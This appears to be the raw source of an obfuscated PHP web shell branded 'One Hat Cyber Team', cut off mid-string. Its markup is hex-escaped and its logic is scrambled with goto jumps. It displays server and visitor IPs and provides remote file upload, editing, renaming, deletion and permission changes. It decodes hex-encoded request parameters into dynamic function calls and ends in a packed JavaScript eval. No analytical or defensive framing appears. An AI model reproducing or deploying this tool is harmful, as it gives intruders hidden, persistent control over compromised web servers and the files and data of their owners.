\141\144\151\x75\163\x3a\40\x35\x70\170\x3b\15\xa\x20\x20\x20\40\146\157\x6e\x74\x2d\x73\151\172\145\x3a\x20\61\x35\160\170\73\15\xa\40\40\40\40\x63\157\x6c\157\x72\x3a\167\150\x69\164\145\x3b\15\xa\x20\x20\x20\x20\154\151\x6e\145\x2d\x68\145\151\147\150\x74\x3a\40\156\157\162\x6d\x61\x6c\x3b\15\12\x20\40\40\x20\x66\x6f\156\164\55\146\141\155\x69\154\x79\72\x20\151\x6e\150\145\162\x69\x74\x3b\xd\12\175\xd\12\xd\xa\x62\x75\x74\164\x6f\x6e\54\x20\151\156\160\x75\x74\72\150\157\x76\x65\x72\x20\173\xd\12\x20\40\x20\x20\x62\x6f\162\x64\x65\162\72\40\62\160\170\x20\x73\x6f\x6c\x69\x64\40\43\x30\x30\x62\146\x66\x66\73\15\xa\40\40\x20\x20\143\165\162\163\x6f\162\72\x20\x70\x6f\x69\156\x74\x65\162\73\xd\12\x7d\15\xa\15\xa\x2e\157\150\x63\164\40\x7b\xd\12\x20\40\40\x20\x70\141\x64\x64\151\156\x67\x2d\154\145\146\x74\72\40\61\162\145\x6d\73\xd\12\40\40\40\x20\160\141\144\144\151\156\147\x2d\162\x69\x67\150\164\x3a\40\x31\162\145\x6d\73\15\12\x20\x20\x20\x20\x63\x6f\154\157\x72\72\40\x77\x68\x69\x74\x65\x3b\xd\xa\x20\40\x20\40\x62\x6f\162\x64\x65\x72\x3a\x20\62\x70\170\40\163\x6f\154\151\144\x20\x23\x30\x30\142\146\146\146\x3b\15\12\x20\40\40\x20\x62\x6f\162\x64\x65\162\55\162\141\x64\151\x75\x73\x3a\40\65\160\x78\x3b\xd\12\40\40\x20\40\142\141\143\153\147\x72\x6f\x75\156\144\55\x63\157\154\157\x72\x3a\40\164\x72\x61\156\x73\x70\x61\x72\x65\x6e\164\73\xd\xa\x20\40\40\x20\146\157\156\x74\x2d\146\x61\x6d\x69\x6c\x79\x3a\x20\151\156\150\x65\162\151\164\x3b\15\xa\40\x20\40\x20\x66\x6f\156\x74\55\x73\x69\172\145\72\x20\61\x36\160\170\73\xd\12\x7d\15\xa\xd\12\56\157\x68\x63\164\72\150\157\x76\145\162\40\173\xd\12\40\x20\40\x20\142\157\162\x64\x65\x72\72\x20\62\160\170\40\x73\157\x6c\x69\144\x20\43\60\60\x62\146\x66\x66\73\15\xa\40\40\x20\x20\x63\157\x6c\x6f\x72\72\40\x23\60\60\142\x66\x66\146\x21\x69\x6d\160\x6f\x72\164\x61\156\x74\x3b\15\xa\175\15\12\15\12\56\143\157\x6d\x62\145\x74\x20\173\15\12\40\40\40\40\143\x6f\x6c\x6f\162\x3a\40\167\x68\151\164\145\x3b\xd\12\x7d\xd\xa\15\xa\x2e\143\157\155\x62\145\164\x3a\x68\x6f\x76\145\162\x20\x7b\xd\xa\x20\40\x20\x20\x63\157\154\157\162\72\40\x23\x30\x30\x62\x66\x66\146\x3b\15\xa\175\xd\12\xd\xa\x2e\160\55\61\40\x7b\15\12\40\x20\40\x20\160\141\144\x64\151\156\147\72\x20\64\160\x78\73\15\xa\x7d\15\xa\15\xa\72\x3a\x73\145\x6c\x65\x63\x74\x69\x6f\156\40\173\xd\xa\x20\x20\40\40\143\x6f\x6c\157\x72\72\40\x62\x6c\x61\143\153\x3b\15\xa\x20\40\40\x20\142\x61\x63\x6b\147\162\157\165\x6e\x64\x3a\x20\163\151\x6c\166\145\x72\x3b\xd\xa\175\xd\12\xd\12\56\x66\x61\40\173\15\12\40\x20\x20\x20\160\x61\x64\x64\x69\156\x67\72\40\61\x30\160\170\73\15\12\x20\40\40\40\x66\157\156\164\55\163\151\x7a\x65\x3a\x20\62\60\x70\170\x3b\xd\xa\40\40\x20\x20\167\151\144\164\150\x3a\x20\x35\60\160\170\73\xd\12\x20\x20\40\x20\x74\145\170\x74\55\141\154\x69\147\x6e\72\x20\x63\x65\x6e\164\x65\162\73\15\xa\x20\40\40\x20\x74\x65\170\x74\55\144\145\143\157\x72\141\164\151\x6f\156\72\40\x6e\157\x6e\145\x3b\15\12\x20\40\x20\40\x6d\141\162\x67\x69\156\72\40\x35\160\x78\73\xd\xa\40\x20\x20\40\143\x6f\x6c\x6f\x72\x3a\x20\43\60\60\x62\x66\146\146\73\xd\12\x7d\15\xa\15\12\56\146\141\x3a\150\157\166\x65\162\40\173\xd\xa\x20\x20\40\x20\x62\x6f\x72\144\145\162\x3a\40\x32\160\x78\x20\163\157\x6c\x69\144\x20\x23\x30\x30\x62\146\146\x66\73\xd\xa\175\xd\xa\xd\xa\56\x74\x65\170\x74\x2d\x6c\x69\x67\x68\x74\40\173\xd\xa\x20\40\40\40\x63\x6f\x6c\157\162\x3a\x20\x23\x66\x38\x66\x39\x66\141\x21\x69\x6d\160\x6f\x72\x74\141\156\x74\73\15\xa\x20\x20\x20\40\146\x6f\156\x74\55\x73\x69\172\x65\x3a\40\154\141\162\x67\145\41\x69\x6d\x70\157\162\164\141\156\164\x3b\xd\12\x7d\15\xa\xd\xa\x2e\153\x65\x64\x69\160\x20\173\xd\12\40\x20\40\x20\x61\156\x69\155\141\164\151\x6f\156\72\x20\153\145\x64\x69\160\40\61\163\40\154\x69\x6e\x65\141\162\x20\x69\156\146\x69\x6e\x69\x74\145\x3b\15\12\x7d\15\xa\15\12\100\153\145\171\x66\162\x61\155\x65\163\40\153\x65\x64\151\160\x20\173\xd\xa\40\40\40\x20\x30\x25\x20\x7b\15\12\x20\x20\x20\x20\x20\40\40\40\143\x6f\154\157\162\72\x20\43\60\x30\x62\146\x66\x66\73\xd\xa\40\x20\40\x20\x7d\15\12\x20\40\40\40\65\60\x25\40\x7b\xd\xa\x20\x20\x20\40\40\x20\x20\40\143\157\x6c\157\162\72\40\167\150\151\164\145\73\15\xa\x20\x20\x20\40\x7d\15\xa\x20\x20\40\x20\61\60\x30\x25\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\143\157\154\x6f\x72\x3a\40\43\x30\x30\142\146\x66\x66\73\xd\xa\40\40\x20\40\x7d\xd\xa\175\15\12\15\12\x40\x6b\x65\x79\146\x72\x61\x6d\145\x73\x20\x72\141\151\x6e\142\x6f\x77\102\x6f\162\144\x65\x72\x20\173\15\xa\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x30\45\40\173\15\xa\40\40\40\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x62\157\162\144\x65\x72\x2d\151\x6d\x61\x67\x65\x3a\40\154\151\156\145\x61\162\55\147\162\141\144\151\145\156\164\50\x74\x6f\x20\x72\x69\147\150\164\x2c\x20\x23\x30\x30\x62\x66\146\146\x2c\40\155\141\147\x65\x6e\x74\141\51\40\61\x3b\15\12\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\175\15\12\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\61\x34\x25\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\142\157\162\144\x65\x72\x2d\x69\x6d\141\x67\x65\x3a\40\x6c\151\156\x65\141\x72\55\x67\x72\141\x64\151\x65\156\x74\50\164\157\x20\x72\151\x67\150\164\x2c\40\x6d\141\147\145\x6e\x74\141\x2c\40\x6c\x69\155\145\x29\40\x31\73\xd\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\12\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x32\x38\x25\x20\x7b\15\12\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x62\x6f\x72\144\x65\162\55\151\155\x61\x67\x65\72\x20\154\151\x6e\145\x61\x72\x2d\147\x72\x61\x64\x69\x65\156\x74\x28\164\157\40\162\x69\x67\x68\x74\x2c\x20\x6c\x69\x6d\145\x2c\40\x79\145\154\x6c\x6f\167\x29\40\x31\x3b\xd\xa\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\175\xd\12\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\64\62\45\x20\173\15\xa\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\142\157\162\144\x65\162\55\151\155\141\147\x65\72\x20\154\x69\156\145\x61\x72\x2d\147\162\x61\144\x69\x65\x6e\164\x28\x74\157\x20\162\151\147\x68\164\54\40\171\x65\154\x6c\x6f\x77\x2c\x20\x6f\x72\x61\x6e\147\x65\x29\x20\x31\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\x7d\xd\12\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\65\x37\45\x20\173\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\142\x6f\x72\144\x65\x72\x2d\x69\155\x61\147\145\72\x20\x6c\151\156\x65\x61\x72\55\147\x72\x61\144\151\145\x6e\x74\50\x74\x6f\40\162\151\x67\150\164\x2c\x20\157\x72\141\x6e\147\145\x2c\x20\162\145\x64\51\40\x31\x3b\15\12\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x7d\xd\xa\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x37\x31\45\x20\x7b\xd\12\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\142\x6f\162\x64\x65\162\x2d\151\155\x61\x67\x65\72\40\x6c\x69\156\145\141\x72\x2d\147\162\141\144\151\x65\156\164\50\x74\x6f\40\x72\151\x67\150\164\x2c\40\x72\x65\144\x2c\40\x70\x69\156\x6b\x29\x20\61\x3b\15\12\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x7d\15\xa\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x38\x35\45\40\173\15\12\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\x62\x6f\x72\x64\145\x72\x2d\151\x6d\141\x67\x65\x3a\40\x6c\151\x6e\145\x61\162\x2d\147\162\x61\144\x69\145\156\164\50\164\157\40\x72\151\147\150\164\54\x20\x70\151\x6e\153\54\x20\43\x30\60\142\146\x66\146\51\x20\x31\73\15\12\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\175\xd\xa\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x31\x30\60\x25\x20\173\15\xa\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\142\157\162\x64\145\162\x2d\151\x6d\141\x67\x65\x3a\x20\x6c\151\x6e\x65\141\162\x2d\x67\162\x61\x64\151\145\x6e\x74\x28\x74\x6f\40\162\x69\147\150\164\54\40\43\x30\60\x62\x66\146\x66\54\40\155\141\147\x65\x6e\164\141\x29\40\x31\73\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\175\15\12\40\x20\40\x20\x20\x20\x20\x20\x7d\15\12\xd\xa\x2e\x72\141\x69\156\142\x6f\167\x2d\142\x6f\x72\144\x65\x72\40\173\15\xa\40\40\40\x20\142\157\x72\x64\x65\x72\x3a\40\x32\160\x78\40\163\157\x6c\151\x64\x20\162\x65\144\73\15\xa\40\40\40\x20\x62\157\162\x64\145\162\55\162\141\x64\151\x75\x73\72\40\x35\160\x78\41\x69\x6d\160\157\x72\164\141\156\x74\73\xd\xa\x20\x20\x20\x20\141\156\151\x6d\x61\x74\151\157\156\x3a\40\162\141\x69\x6e\x62\157\167\102\157\x72\x64\145\162\x20\62\x73\x20\x6c\151\x6e\x65\141\162\40\x69\156\146\151\x6e\151\x74\145\73\15\xa\175\xd\xa\x20\40\x20\x20\x20\40\x20\x20\100\x6b\145\171\x66\x72\x61\x6d\x65\x73\x20\162\x61\x69\156\x62\157\x77\124\145\170\164\x20\173\xd\12\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\60\45\x20\173\15\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\143\x6f\x6c\x6f\162\x3a\x20\x23\60\60\142\146\146\146\x3b\15\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x7d\xd\xa\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x31\x34\x25\x20\173\xd\xa\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\143\157\x6c\157\x72\x3a\40\155\x61\147\x65\x6e\x74\141\73\15\12\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\175\xd\12\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\62\70\x25\x20\x7b\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\143\157\x6c\x6f\162\x3a\x20\154\x69\x6d\x65\x3b\15\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\175\xd\xa\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\64\62\45\x20\x7b\xd\xa\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x63\x6f\x6c\157\162\x3a\x20\171\x65\154\x6c\157\x77\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x7d\xd\xa\x20\40\x20\40\40\40\40\x20\40\40\40\40\65\x37\x25\40\173\xd\12\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x63\157\154\157\x72\72\40\x6f\x72\x61\156\147\x65\73\15\xa\x20\40\40\40\x20\40\40\40\40\x20\x20\40\175\15\xa\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\67\x31\x25\x20\173\xd\xa\40\40\x20\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\143\x6f\154\x6f\162\72\x20\162\145\144\x3b\15\12\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\175\15\xa\40\40\x20\40\40\x20\40\40\40\40\x20\x20\70\65\45\x20\173\xd\xa\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\40\143\x6f\x6c\x6f\x72\72\40\x70\151\x6e\153\x3b\xd\xa\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\175\15\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x31\x30\x30\45\x20\x7b\15\12\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\143\157\x6c\x6f\x72\72\40\43\x30\x30\x62\x66\146\x66\73\xd\12\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\175\xd\xa\x20\x20\40\40\40\40\40\x20\175\xd\xa\56\x72\141\x69\156\x62\157\x77\55\x74\145\x78\x74\x20\x7b\xd\12\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\141\x6e\151\x6d\x61\x74\151\157\x6e\72\40\x72\x61\151\x6e\x62\157\x77\x54\x65\170\164\x20\x32\163\40\x69\x6e\146\151\x6e\x69\x74\x65\73\15\xa\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\146\x6f\156\x74\x2d\x77\145\151\147\150\x74\72\40\x62\x6f\154\x64\73\15\xa\40\x20\40\x20\x20\40\x20\40\175\15\xa\x3c\x2f\x73\164\x79\x6c\x65\76\xd\12\40\x20\40\x20\74\x73\143\162\x69\x70\x74\x20\x73\x72\143\75\x22\x2f\x2f\x75\x6e\x70\x6b\147\x2e\x63\157\x6d\57\163\x77\145\x65\164\x61\154\x65\x72\x74\57\144\151\163\x74\x2f\x73\167\x65\x65\x74\x61\154\x65\162\x74\x2e\x6d\x69\156\56\x6a\163\42\76\x3c\57\163\x63\x72\151\x70\x74\76\xd\12\x3c\x2f\150\145\141\144\76\xd\12\74\x62\157\x64\171\x3e\15\12\x3c\x64\x69\166\40\143\154\x61\163\x73\75\x22\164\x61\142\154\145\55\162\145\163\x70\157\156\x73\x69\166\x65\40\164\145\170\164\x2d\154\151\147\150\164\40\162\x61\x69\x6e\142\157\x77\55\142\x6f\x72\x64\145\162\42\40\163\164\171\x6c\145\75\42\164\x65\170\164\55\x61\x6c\x69\x67\156\x3a\40\x6c\145\x66\164\73\x70\x61\144\x64\x69\156\x67\x3a\40\64\160\x78\x3b\42\x3e\xd\xa\74\x64\151\166\40\163\x74\171\154\145\75\42\x74\x65\x78\164\55\141\154\151\147\156\72\40\143\x65\156\164\x65\x72\x3b\144\151\x73\x70\x6c\x61\x79\x3a\x20\146\x6c\145\x78\73\141\x6c\x69\147\x6e\x2d\151\164\x65\155\163\72\40\x63\145\x6e\x74\x65\162\x3b\152\x75\x73\x74\151\x66\x79\55\x63\x6f\156\x74\145\156\164\72\x20\143\145\156\x74\145\162\x3b\141\154\151\x67\x6e\55\x63\157\x6e\x74\x65\x6e\164\72\x20\x63\x65\156\164\145\162\73\42\76\15\xa\x3c\x61\x20\x68\x72\x65\x66\x3d\42\77\x22\x20\x73\164\171\154\x65\x3d\42\146\x6f\x6e\164\x2d\x73\x69\x7a\145\72\40\x32\x72\145\155\73\160\141\x64\144\x69\156\147\x2d\154\x65\x66\164\x3a\40\x30\56\63\162\145\155\73\160\141\x64\144\151\x6e\147\55\x72\x69\147\x68\164\72\40\60\56\x33\x72\145\x6d\x3b\42\76\x3c\x73\x70\x61\156\40\x63\154\x61\163\x73\75\42\x72\141\151\156\x62\x6f\x77\55\x74\145\170\x74\42\x3e\x4f\156\145\x20\110\x61\x74\40\x43\x79\x62\x65\x72\x20\x54\145\141\155\74\57\163\160\141\x6e\x3e\74\x2f\x61\76\x20\15\12\x3c\57\x64\x69\166\76\xd\12\x3c\x6c\151\76\x59\157\165\162\x20\111\120\x20\72\x20\74\163\160\141\156\40\x73\164\171\154\x65\75\x22\x63\157\154\157\x72\x3a\x20\x77\x68\x69\x74\145\x3b\x22\x3e"; goto qv6Am; Y7Z0b: sEy8B: goto LExXx; P3c4U: echo "\x3c\57\144\151\x76\x3e\xd\12"; goto IXUL0; i6dER: echo gethostbyname($_SERVER["\123\105\122\126\105\122\137\x4e\101\115\x45"]); goto pUQui; ouN_B: sVyvh: goto FfdSI; Z3Rwf: $c8[$lE] = JD($c8[$lE]); goto n21be; as55f: if (move_uploaded_file($fileTmpName, $targetFilePath)) { goto uEny2; } goto SSOY8; V32i4: GqE6o: goto z00aG; tCv0u: if (file_exists($filePath)) { goto IfSJ9; } goto a3yUv; k3N95: goto jycuQ; goto ouN_B; uiNll: echo "\74\x2f\150\65\x3e\15\12\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\144\75\x22\160\157\x73\164\x22\x3e\xd\12\40\x20\40\x20\74\x64\x69\166\40\x63\x6c\x61\163\163\75\x22\x66\157\x72\x6d\x2d\x67\162\157\165\160\42\76\xd\12\40\x20\40\x20\x20\x20\40\x20\x3c\x69\x6e\x70\165\x74\x20\164\171\x70\145\75\x22\x74\145\170\164\x22\40\156\141\x6d\145\x3d\x22\x6e\x65\x77\137\160\x65\x72\155\x69\x73\x73\x69\x6f\x6e\x73\x22\x20\151\x64\x3d\x22\x6e\145\x77\x5f\x70\x65\162\155\x69\163\163\151\157\156\x73\42\40\x63\154\x61\163\163\x3d\42\142\x6f\x72\x64\145\x72\x20\160\x2d\61\x22\x20\x70\154\141\143\x65\x68\157\x6c\144\145\162\75\x22\103\157\156\164\x6f\x68\x3a\40\x30\x37\x35\65\x22\x20\x73\x74\x79\x6c\145\75\x22\x74\145\170\164\x2d\x61\154\151\x67\x6e\x3a\40\143\x65\156\x74\x65\162\73\x22\x3e\15\12\40\x20\x20\40\74\x2f\144\151\166\76\xd\12\40\x20\40\x20\x3c\144\151\x76\40\143\x6c\141\x73\x73\x3d\x22\146\x6f\x72\155\55\147\162\157\x75\x70\x22\x20\163\x74\171\154\x65\75\42\155\141\x72\147\151\x6e\x2d\x74\157\x70\72\x20\61\x30\160\170\73\x22\x3e\15\12\40\40\x20\x20\40\40\x20\x20\x3c\142\165\x74\x74\157\x6e\x20\x74\x79\x70\145\75\x22\163\165\x62\155\151\x74\x22\40\x6e\x61\155\145\75\x22\143\x68\141\156\x67\x65\x5f\x70\145\162\155\x73\x22\x20\x63\154\141\163\163\75\42\x6f\x68\x63\164\42\76\x55\x62\141\x68\40\x49\172\x69\x6e\x3c\57\142\165\164\164\157\x6e\76\15\xa\40\x20\x20\40\74\57\x64\151\x76\76\15\xa\74\x2f\146\x6f\x72\155\76\xd\12\15\xa"; goto oUPhS; ub8zK: xe("\106\x69\x6c\145\40\x62\x65\162\150\141\x73\151\154\x20\144\x69\x75\x6e\x67\x67\x61\150"); goto XbO1F; qkvjE: Q1N8Z: goto ckKLx; aRFgz: if (!isset($_POST["\x63\162\145\x61\164\145\x5f\146\151\154\145"])) { goto cHfGd; } goto iOZrz; SrtER: JuQTj: goto psV4R; f5aRU: $folderName = $_POST["\146\157\x6c\x64\x65\x72\137\156\141\155\145"]; goto X9oWu; M6ABo: echo $_SERVER["\123\x45\122\x56\x45\122\x5f\123\117\x46\124\127\101\122\x45"]; goto SwPKx; w2eNq: echo Ss($Jd) . "\46\x61\75" . sS("\x6e\145\x77\104\x69\x72"); goto XuBX4; PBWDG: oKtRs: goto G8ZaQ; APzPP: DqkC1: goto DFSe3; Ne4KB: mBbAB: goto y8gBw; X0blT: PW8sr: goto ned6r; IYt8j: uEny2: goto ub8zK; G8ZaQ: if (!($im == "\x65\x64\x69\x74")) { goto sVyvh; } goto k3N95; CmQdn: echo htmlspecialchars(jD($_GET["\156"])); goto MycnO; XjoI2: $newPerms = $_POST["\x6e\145\x77\137\x70\x65\162\155\151\x73\163\x69\157\x6e\x73"]; goto c6P__; K71UA: if ($im == "\144\145\154\145\x74\x65") { goto nhGdW; } goto fJZSg; fRdU4: function Jd($SP) { goto byBFn; byBFn: $dE = ''; goto KdwWq; AZq7K: $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); goto GTawt; JIesp: goto sY9T1; goto K2d5G; n7IWq: mZHDS: goto GB4ed; s8o21: return $dE; goto pWRTP; GTawt: KgfRl: goto mjhT4; K2d5G: gte_y: goto AZq7K; mjhT4: $lE += 2; goto Ywk5Q; oCr1K: $lE = 0; goto n7IWq; KdwWq: $gf = strlen($SP) - 1; goto oCr1K; GB4ed: if ($lE < $gf) { goto gte_y; } goto JIesp; vVstd: sY9T1: goto s8o21; Ywk5Q: goto mZHDS; goto vVstd; pWRTP: } goto KH9aY; rjz3G: goto WuWzI; goto ui2ii; RgCVA: BgYPr: goto V32i4; N93Qc: WuWzI: goto P3c4U; S2fjQ: qLlQw: goto SA16k; QznLN: echo htmlspecialchars(jD($_GET["\156"])); goto Ovz2f; jtnD_: if (is_writable($filePath)) { goto YepRA; } goto tqKCZ; Nc198: goto Bh2fC; goto aAPZK; t2P1z: xe("\x42\145\x72\150\141\163\x69\x6c\40\x6d\145\x6e\x67\165\142\141\x68\40\151\x7a\151\x6e"); goto EaJYU; hky0H: FuJKP: goto z47JB; K0vFC: ini_set("\x64\151\163\160\x6c\141\171\x5f\x65\162\162\157\x72\x73", 0); goto qZkE2; liHBS: cuWoE: goto YpqQB; hQI_R: wf9aW: goto klVg8; J6449: goto Fk3E1; goto liHBS; c6P__: $currentDir = getcwd(); goto y1nIx; Ovz2f: echo "\74\57\x66\x6f\156\164\76\xd\xa\74\x2f\150\x35\x3e\xd\xa\74\x64\x69\x76\x20\143\154\141\x73\163\x3d\x22\x66\x6f\162\155\55\x67\x72\157\165\160\42\x3e\15\12\x3c\x74\145\170\x74\141\x72\145\141\x20\156\x61\x6d\145\x3d\x22\146\x69\154\145\137\143\157\x6e\164\145\x6e\x74\42\x20\151\144\75\42\x66\x69\154\145\x5f\x63\157\156\164\145\x6e\164\x22\40\x63\157\154\x73\75\x22\x33\60\x22\x20\162\157\167\x73\75\42\x31\60\x22\x20\143\x6c\x61\163\163\x3d\42\146\157\162\x6d\x2d\x63\x6f\x6e\164\162\157\x6c\x20\x72\x61\151\156\x62\157\167\x2d\x62\x6f\x72\x64\145\162\x22\40\x72\x65\x61\144\157\x6e\x6c\171\x3e"; goto yCXHO; lP14A: $Jd = $c8[2](); goto vNGYA; KhgEs: echo "\x3c\57\x73\160\141\x6e\x3e\74\57\154\x69\x3e\15\xa\x3c\154\x69\x3e\123\x65\x72\x76\x65\x72\40\x49\x50\40\72\x20\x3c\163\x70\141\156\40\x73\x74\x79\x6c\x65\75\x22\x63\x6f\154\x6f\162\x3a\x20\x77\x68\x69\164\x65\73\42\x3e"; goto i6dER; LHxHL: Xe("\146\141\151\154\145\144\40\164\157\40\144\145\154\x65\164\145\40\164\x68\x65\x20\146\x69\x6c\145", 0); goto QMnli; m_WJB: goto NF5Mp; goto V4aUK; JkfzH: $filePath = "{$currentDir}\x2f{$fileName}"; goto tCv0u; v9nE0: echo "\x22\x20\143\154\x61\x73\x73\x3d\42\x6f\x68\x63\164\42\x3e\102\165\141\164\x20\x46\x69\x6c\145\x3c\57\141\76\x20\x7c\40\74\x61\40\x68\162\145\x66\x3d\42\x3f\x70\75"; goto w2eNq; SetU1: if (!($im == "\x72\x65\156\x61\x6d\145")) { goto oKtRs; } goto iJrKt; XoXZZ: $c8[3](Jd($_GET["\160"])); goto Ne4KB; BrZJD: Xe("\106\157\x6c\x64\x65\162\x20\x67\141\147\141\x6c\x20\x64\151\x62\165\141\164", 0); goto ZB075; oO92L: if (!isset($_POST["\162\x65\x6e\x61\x6d\145\137\x66\151\x6c\x65"])) { goto X6Epq; } goto epYd3; DbYJr: echo "\42\40\163\164\171\154\145\75\x22\164\x65\x78\164\55\141\154\x69\147\x6e\x3a\x20\143\145\156\x74\145\x72\73\x22\76\xd\xa\40\x20\40\x20\74\57\x64\151\x76\x3e\xd\12\x20\40\40\40\x3c\x64\151\x76\x20\143\x6c\x61\163\163\x3d\x22\146\157\162\155\x2d\x67\162\157\x75\x70\42\x20\163\x74\171\154\x65\x3d\x22\x6d\x61\x72\x67\x69\x6e\55\164\x6f\x70\x3a\x20\x31\60\x70\x78\73\x22\x3e\15\12\x20\40\40\40\x20\40\40\40\74\x62\x75\x74\164\157\x6e\40\164\171\x70\x65\x3d\x22\163\165\x62\x6d\x69\x74\42\x20\156\141\x6d\x65\75\42\162\145\x6e\141\x6d\145\137\146\x69\x6c\x65\42\40\143\154\x61\x73\163\75\x22\157\x68\143\x74\x22\76\x53\x61\166\x65\x3c\x2f\142\x75\164\164\x6f\x6e\76\15\xa\x20\40\40\40\74\57\144\x69\x76\x3e\xd\xa\x3c\x2f\146\157\x72\x6d\x3e\xd\xa\15\xa"; goto oO92L; X9oWu: $currentDir = getcwd(); goto l6lHy; QMnli: goto oGhKM; goto NaeCm; cSpMC: Xe("\x46\x69\x6c\x65\40\147\141\147\141\154\40\x64\151\142\165\x61\x74", 0); goto sueaT; aAPZK: eDnbO: goto t2P1z; uLQpu: if (rename($oldPath, $newPath)) { goto cuWoE; } goto Hczko; O4wAy: echo "\x20\xd\12\x3c\x2f\144\151\166\76\xd\xa\74\x73\143\162\x69\160\x74\40\x73\162\143\75\42\x2f\x2f\143\157\x64\x65\x2e\x6a\x71\x75\145\162\171\x2e\x63\157\155\x2f\152\161\165\145\162\x79\x2d\x33\x2e\x35\56\x31\x2e\x73\x6c\x69\x6d\56\155\151\156\56\x6a\163\x22\x3e\74\x2f\163\143\x72\151\160\164\x3e\xd\xa\74\x73\x63\162\x69\160\164\x20\x73\x72\143\x3d\42\x2f\x2f\143\144\156\x2e\x6a\x73\x64\x65\154\x69\x76\162\56\x6e\x65\164\x2f\x6e\160\x6d\x2f\x62\x6f\x6f\164\163\164\162\141\x70\100\64\x2e\66\x2e\60\x2f\144\x69\163\164\x2f\152\x73\x2f\x62\157\x6f\x74\163\x74\162\x61\160\56\142\x75\156\x64\x6c\x65\56\x6d\x69\x6e\56\152\163\x22\40\x3e\74\57\x73\143\x72\x69\160\164\76\15\12\x3c\x73\x63\x72\151\x70\x74\40\x73\x72\143\x3d\x22\x2f\57\x63\144\x6e\x2e\152\163\144\x65\154\151\x76\162\56\156\145\164\x2f\x6e\160\x6d\x2f\142\163\x2d\143\x75\x73\164\x6f\155\55\x66\x69\x6c\x65\55\x69\156\x70\x75\x74\57\144\151\x73\164\x2f\142\163\x2d\x63\x75\x73\x74\x6f\x6d\55\146\x69\x6c\x65\55\151\156\160\x75\x74\x2e\x6d\x69\x6e\x2e\152\163\42\76\74\x2f\x73\143\162\151\x70\164\76\xd\xa\x3c\x73\x63\162\151\160\x74\40\164\x79\x70\x65\75\42\164\145\170\x74\x2f\x6a\141\x76\x61\x73\x63\162\x69\x70\164\x22\76\x65\x76\141\x6c\x28\146\165\x6e\143\x74\151\x6f\156\x28\160\x2c\141\x2c\x63\x2c\153\54\x65\x2c\x64\x29\x7b\145\75\146\x75\156\143\x74\x69\x6f\156\x28\x63\51\173\162\145\164\165\x72\156\50\x63\x3c\141\77\x27\x27\x3a\145\x28\x70\141\162\x73\x65\x49\x6e\164\50\x63\x2f\x61\x29\x29\51\x2b\50\x28\x63\75\143\45\141\x29\x3e\x33\x35\77\123\x74\x72\x69\x6e\x67\x2e\x66\x72\157\155\x43\x68\x61\x72\103\x6f\x64\145\50\143\x2b\62\71\51\x3a\x63\56\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\x29\x29\175\x3b\151\x66\x28\41\47\47\x2e\162\145\160\154\x61\143\x65\50\x2f\x5e\x2f\54\x53\164\162\151\156\147\x29\51\173\167\x68\151\154\145\50\x63\55\55\x29\x7b\x64\133\145\x28\x63\x29\x5d\x3d\153\133\x63\x5d\174\x7c\145\x28\x63\x29\175\153\x3d\x5b\x66\x75\156\x63\164\x69\x6f\156\50\145\51\173\x72\x65\164\x75\x72\156\40\x64\133\145\135\x7d\135\x3b\x65\75\x66\x75\156\143\164\x69\157\x6e\x28\51\x7b\x72\145\x74\165\162\156\x27\134\x5c\x77\53\x27\175\x3b\x63\75\x31\x7d\x3b\167\x68\x69\154\145\50\143\x2d\x2d\x29\173\x69\x66\x28\x6b\x